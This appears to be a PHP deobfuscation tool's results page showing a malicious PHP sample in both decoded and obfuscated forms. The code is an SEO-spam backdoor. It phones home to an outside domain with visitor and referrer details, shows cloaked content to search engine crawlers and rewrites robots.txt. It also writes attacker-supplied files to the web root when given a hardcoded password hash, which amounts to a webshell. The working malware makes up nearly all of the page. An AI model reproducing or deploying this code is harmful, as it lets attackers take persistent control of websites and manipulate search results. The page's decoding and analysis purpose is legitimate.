Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto Oewa4; IRC6C: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\155\141\160\15..

Decoded Output download

<?   goto Oewa4; IRC6C: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto EjgDl; WlnHe: $lang = urlencode($lang); goto IVv1e; hk3D7: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto IRC6C; yhSuJ: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto S2f40; EjgDl: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto JSASJ; ki4Ot: $duri_tmp = st_uri(); goto heaZj; mhdT9: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto lZ3gn; IVv1e: $urlshang = ''; goto hk3D7; Junp_: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto eq44H; Oewa4: @set_time_limit(3600); goto bm0Oo; spIdb: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto WlnHe; JSASJ: $htmcontent = trim(dageget($web)); goto mhdT9; p7PGW: $goweb = $xmlname . ".likeseowww" . ".xyz"; goto yhSuJ; B6UVL: $http_web = "http"; goto gTAWY; heaZj: if ($duri_tmp == '') { $duri_tmp = "/"; } goto Bw3xN; bm0Oo: @ignore_user_abort(1); goto Bl96d; Bw3xN: $duri = urlencode($duri_tmp); goto uGgQS; Bl96d: $xmlname = "omsa"; goto B6UVL; eq44H: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto zweyo; S2f40: $host = $_SERVER["HTTP_HOST"]; goto spIdb; lZ3gn: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto Junp_; uGgQS: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto p7PGW; gTAWY: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto ki4Ot; zweyo: 
 //vx083  ?><?php 
 ?>

Did this file decode correctly?

Original Code

 goto Oewa4; IRC6C: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\155\141\160\156\141\x6d\145"]; $action = @$_GET["\141\x63\164\x69\x6f\156"]; if (isset($_SERVER["\x44\117\103\125\115\105\116\124\137\x52\117\117\x54"])) { $path = $_SERVER["\104\117\x43\125\x4d\105\116\x54\137\x52\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\160\x75\x74") { if (strstr($add_content, "\x2e\x78\155\x6c")) { $map_path = $path . "\57\x73\151\x74\145\x6d\x61\x70\56\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\x6f\x62\157\164\163\x2e\x74\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\x72\55\141\x67\145\x6e\x74\x3a\40\52\101\154\x6c\x6f\x77\72\40\57"; } $sitmap_url = $http . "\x3a\57\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\x72\x3e\x73\x69\164\145\x6d\x61\x70\x20\x61\x6c\162\x65\141\x64\171\x20\x61\x64\x64\145\x64\x21\74\x62\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\123\x69\x74\x65\x6d\x61\160\72\40" . $sitmap_url)) { echo "\74\x62\162\x3e\x6f\x6b\x3c\x62\x72\76"; } else { echo "\x3c\x62\162\76\146\x69\154\x65\40\x77\162\151\164\145\x20\x66\141\x6c\163\145\x21\74\x62\162\x3e"; } } } else { echo "\x3c\x62\x72\x3e\x73\x69\164\145\155\141\160\40\156\141\155\x65\40\x66\x61\154\x73\x65\41\74\142\x72\76"; } if (strstr($add_content, "\56\160" . "\150\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\x2f\x2f" . $goweb . "\57\x61\56\160" . "\x68\160") || $b == "\x38\x30\70\67\x33\65\142\61\x37\x63\70\x39\64\x33\x65\x33\x37\61\65\63\70\x38\71\x35\x38\144\143\62\x32\144\70\x37\71\141\70\143\71\145\141\141") { $dstr = @$_GET["\144\x73\164\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto EjgDl; WlnHe: $lang = urlencode($lang); goto IVv1e; hk3D7: if (isset($_SERVER["\110\124\x54\x50\137\122\105\106\105\122\105\122"])) { $urlshang = $_SERVER["\x48\124\x54\x50\137\x52\x45\106\105\122\x45\122"]; $urlshang = urlencode($urlshang); } goto IRC6C; yhSuJ: function is_htps() { if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\124\x54\x50\123"]) !== "\x6f\146\146") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\130\137\106\117\122\127\x41\122\x44\105\x44\x5f\x50\x52\x4f\124\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\130\x5f\106\x4f\x52\127\x41\x52\x44\105\104\137\x50\x52\117\x54\x4f"] === "\x68\164\164\160\163") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\137\106\122\117\116\x54\137\105\116\104\x5f\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\120\x5f\106\122\117\116\x54\x5f\105\116\x44\137\x48\124\124\x50\123"]) !== "\157\x66\146") { return true; } return false; } goto S2f40; EjgDl: $web = $http_web . "\x3a\x2f\x2f" . $goweb . "\x2f\151\156\x64\x65\170\x6e\145\167\56\160\150\160\x3f\167\145\x62\x3d" . $host . "\x26\x7a\172\75" . sbot() . "\46\165\x72\x69\75" . $duri . "\x26\x75\162\x6c\x73\150\x61\x6e\x67\x3d" . $urlshang . "\46\150\x74\x74\x70\x3d" . $http . "\46\x6c\141\156\x67\x3d" . $lang; goto JSASJ; ki4Ot: $duri_tmp = st_uri(); goto heaZj; mhdT9: if (!strstr($htmcontent, "\156\x6f\142\157\164\x75\163\145\162\141\x67\x65\156\164")) { if (strstr($htmcontent, "\157\x6b\150\x74\155\x6c\147\145\x74\x63\x6f\156\x74\x65\156\x74")) { @header("\x43\157\156\164\145\x6e\164\55\x74\171\x70\145\72\40\x74\145\x78\164\x2f\x68\x74\155\154\x3b\x20\143\150\141\162\x73\x65\164\75\165\164\x66\55\70"); $htmcontent = str_replace("\157\x6b\x68\x74\x6d\x6c\147\x65\164\x63\x6f\156\x74\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\x78\x6d\154\147\x65\164\143\157\156\x74\145\156\164")) { $htmcontent = str_replace("\x6f\153\170\x6d\154\x67\145\x74\x63\157\156\164\x65\156\164", '', $htmcontent); @header("\103\157\156\x74\145\x6e\x74\x2d\x74\x79\160\145\x3a\x20\x74\x65\170\164\x2f\x78\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\x6e\147\x78\x6d\154\147\145\x74\143\157\x6e\x74\145\156\164")) { $htmcontent = str_replace("\x70\x69\156\x67\x78\x6d\154\x67\x65\164\143\157\x6e\164\145\156\164", '', $htmcontent); @header("\x43\x6f\156\x74\x65\x6e\164\x2d\x74\x79\x70\145\x3a\x20\x74\145\170\164\x2f\x68\164\x6d\x6c\73\x20\143\x68\141\x72\x73\x65\x74\75\x75\x74\x66\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto lZ3gn; IVv1e: $urlshang = ''; goto hk3D7; Junp_: function sbot() { $uAgent = strtolower($_SERVER["\x48\x54\124\x50\x5f\125\x53\105\122\137\101\x47\105\x4e\124"]); if (stristr($uAgent, "\147\x6f\x6f\x67\154\x65\142\157\x74") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\x79\141\150\157\x6f") || stristr($uAgent, "\147\157\157\x67\154\145") || stristr($uAgent, "\107\x6f\157\x67\x6c\145\142\157\x74") || stristr($uAgent, "\x67\157\157\147\x6c\145\142\x6f\164")) { return true; } else { return false; } } goto eq44H; Oewa4: @set_time_limit(3600); goto bm0Oo; spIdb: $lang = @$_SERVER["\110\124\124\x50\x5f\x41\103\103\105\120\x54\137\x4c\101\x4e\x47\x55\101\x47\105"]; goto WlnHe; JSASJ: $htmcontent = trim(dageget($web)); goto mhdT9; p7PGW: $goweb = $xmlname . "\x2e\x6c\x69\x6b\x65\163\145\x6f\167\x77\x77" . "\x2e\x78\x79\172"; goto yhSuJ; B6UVL: $http_web = "\x68\x74\x74\x70"; goto gTAWY; heaZj: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto Bw3xN; bm0Oo: @ignore_user_abort(1); goto Bl96d; Bw3xN: $duri = urlencode($duri_tmp); goto uGgQS; Bl96d: $xmlname = "\x6f\155\163\x61"; goto B6UVL; eq44H: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\154\x5f\151\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto zweyo; S2f40: $host = $_SERVER["\110\x54\124\120\137\110\117\x53\x54"]; goto spIdb; lZ3gn: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\x6d\x61\160\40\x4e\157\164\151\146\x69\x63\x61\x74\151\x6f\156\40\122\145\x63\x65\151\166\145\144") !== false ? "\160\x69\156\x67\x6f\153" : "\x65\162\162\x6f\162"; $return_str .= $pingUrl . "\55\55\40" . $ok . "\74\142\162\76"; } return $return_str; } goto Junp_; uGgQS: function st_uri() { if (isset($_SERVER["\122\x45\121\125\x45\x53\x54\x5f\x55\122\111"])) { $duri = $_SERVER["\x52\105\x51\x55\105\x53\x54\137\125\122\111"]; } else { if (isset($_SERVER["\141\162\x67\166"])) { $duri = $_SERVER["\x50\x48\x50\x5f\x53\105\114\x46"] . "\x3f" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\123\x45\114\x46"] . "\77" . $_SERVER["\121\x55\105\122\x59\137\123\124\x52\111\116\x47"]; } } return $duri; } goto p7PGW; gTAWY: if (is_htps()) { $http = "\150\164\164\x70\163"; } else { $http = "\150\164\164\160"; } goto ki4Ot; zweyo:
 //vx083  ?><?php

Function Calls

None

Variables

None

Stats

MD5 0aae307cd615310f176f5e2ac63ce01f
Eval Count 0
Decode Time 48 ms